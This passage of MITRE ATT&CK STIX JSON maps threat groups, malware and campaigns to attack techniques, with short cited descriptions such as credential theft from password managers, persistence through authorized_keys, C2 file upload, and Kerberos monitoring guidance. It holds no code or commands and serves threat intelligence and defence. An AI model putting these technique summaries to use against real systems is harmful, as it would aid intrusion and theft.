APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--139cce0b-726b-406a-ad38-1fdfc779cf57","created":"2022-08-16T15:35:04.434Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SideCopy](https://attack.mitre.org/groups/G1008) has identified the country location of a compromised host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T15:33:57.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--13a3b832-a680-4c50-b413-c8137a6a89b5","created":"2022-06-02T13:35:18.220Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) has created a snapshot of running processes using `CreateToolhelp32Snapshot`.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T13:35:18.220Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13a41ddf-24f2-4c73-a047-7093f94a2573","created":"2022-09-16T16:32:05.648Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T16:32:05.648Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors obtained packers such as CyaX.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13a8be40-1190-4553-b026-58c5088c322a","type":"relationship","created":"2017-05-31T21:33:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks","description":"DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.","source_name":"Symantec Suckfly May 2016"}],"modified":"2020-03-20T02:39:00.373Z","description":"Several tools used by [Suckfly](https://attack.mitre.org/groups/G0039) have been command-line driven.(Citation: Symantec Suckfly May 2016)","relationship_type":"uses","source_ref":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13ab9b58-b18a-437f-898e-fc598e8d0939","type":"relationship","created":"2020-11-13T21:28:40.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:40.657Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on process names.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13ac3b6b-d008-44fa-88c3-53d0927961d2","type":"relationship","created":"2019-07-08T15:24:24.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2020-03-19T17:37:34.240Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used VBS scripts throughout its operations.(Citation: Symantec Waterbug Jun 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13aed490-7d1f-4839-90c9-32d587d58afd","type":"relationship","created":"2020-07-16T15:51:25.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T15:22:30.289Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can check for artifacts of VirtualBox, Virtual PC and VMware environment, and terminate itself if they are detected.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--13b3c9ee-6d38-4901-8e41-23200d2860f5","created":"2022-03-30T14:26:51.849Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4769, 4768), RC4 encryption within TGTs, and TGS requests without preceding TGT requests. Monitor the lifetime of TGT tickets for values that differ from the default domain duration. Monitor for indications of Pass the Ticket being used to move laterally.","modified":"2022-04-28T14:54:34.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--13b6f054-5771-43ef-84df-b05ec9001f23","created":"2022-06-01T21:38:00.264Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has obtained tools such as PuTTY for use in their operations.(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-06-01T21:38:00.264Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13b78b09-00b6-4307-87b7-7cd8c9360b39","type":"relationship","created":"2019-09-27T13:27:07.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fysbis Dr Web Analysis","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","url":"https://vms.drweb.com/virus/?i=4276269"}],"modified":"2019-10-03T13:13:15.578Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) has the ability to search for files.(Citation: Fysbis Dr Web Analysis) ","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13bc2a82-c51d-4410-9e62-223df287b8f7","type":"relationship","created":"2021-08-31T22:15:50.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-09-15T21:10:13.154Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has decoded and decrypted its stages multiple times using hard-coded keys to deliver the final payload, and has decoded its server response hex string using XOR.(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13c8251c-f380-425c-b762-2298e5802dee","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.109Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13c82683-dea9-418b-9112-a801c4cebc64","created":"2020-08-31T15:15:56.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.726Z","description":"[Valak](https://attack.mitre.org/software/S0476) can use a .NET compiled module named exchgrabber to enumerate credentials from the Credential Manager.(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13c97dd2-5c0b-4f18-84ab-533949fbeb25","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 SeaDuke 2015","description":"Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}],"modified":"2020-03-20T18:28:58.145Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic is base64-encoded.(Citation: Unit 42 SeaDuke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13cd473c-1953-45d2-8508-faf8c1b6a941","type":"relationship","created":"2020-09-30T14:29:28.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:29:28.417Z","description":"(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13d595d2-9497-4bbe-be74-6e2a3a4dde06","type":"relationship","created":"2020-06-24T13:16:30.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.164Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to add the public key of its handlers to the authorized_keys file to maintain persistence on an infected host.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632","type":"relationship","created":"2017-05-31T21:33:27.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.019Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use the Hunter tool to conduct network service discovery for vulnerable systems.(Citation: Dell TG-3390)(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13dca3a6-ea1f-47eb-8030-18f15e309faf","created":"2022-03-21T20:55:40.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022.","url":"https://objective-see.com/blog/blog_0x68.html"},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022.","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T19:12:58.426Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) can add a plist file in the `Library/LaunchDaemons` to establish persistence.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13e1719a-88b7-444f-95ca-cefa2d377448","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor executed commands and arguments for logon scripts","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--13e52bdf-aa82-4220-8a02-02c735c4fccf","created":"2022-06-07T17:55:03.005Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) has saved files prior to upload from a compromised host to folders beginning with the characters `a9850d2f`.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-07T18:28:27.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13e7416a-7a02-438f-a708-598f132ea394","created":"2022-09-27T16:20:31.170Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:20:31.170Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors accessed and collected credentials from password managers.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13e89239-af0e-4f3c-9bb9-42b113f64873","type":"relationship","created":"2020-05-22T20:27:31.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.544Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to identify open windows on the compromised host.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13ebbab5-204d-4a61-9ee4-378346626371","type":"relationship","created":"2021-04-08T18:09:43.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-08T18:09:43.245Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13ef6179-f624-4a3f-8095-a86609e31828","type":"relationship","created":"2021-06-03T22:26:00.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T18:53:48.927Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can upload files from a victim's machine over the C2 channel.(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13f2b9d4-b055-4642-baa6-259f512058c7","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13f5f3ac-e16b-4b7a-8b6d-6eaf129231e7","type":"relationship","created":"2019-04-23T13:43:22.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.021Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can use Inveigh to conduct name service poisoning for credential theft and associated relay attacks.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--140046d6-8cb6-4a09-bd74-fd7696ac4247","type":"relationship","created":"2020-07-21T18:56:44.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2020-07-21T18:56:44.925Z","description":"[Machete](https://attack.mitre.org/software/S0409) has used AES to exfiltrate documents.(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1401717f-8315-430c-aae6-045602619d52","created":"2023-02-10T18:24:19.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:08:02.081Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has been distributed via spearphishing campaigns containing malicious Mircrosoft Word documents.(Citation: HP SVCReady Jun 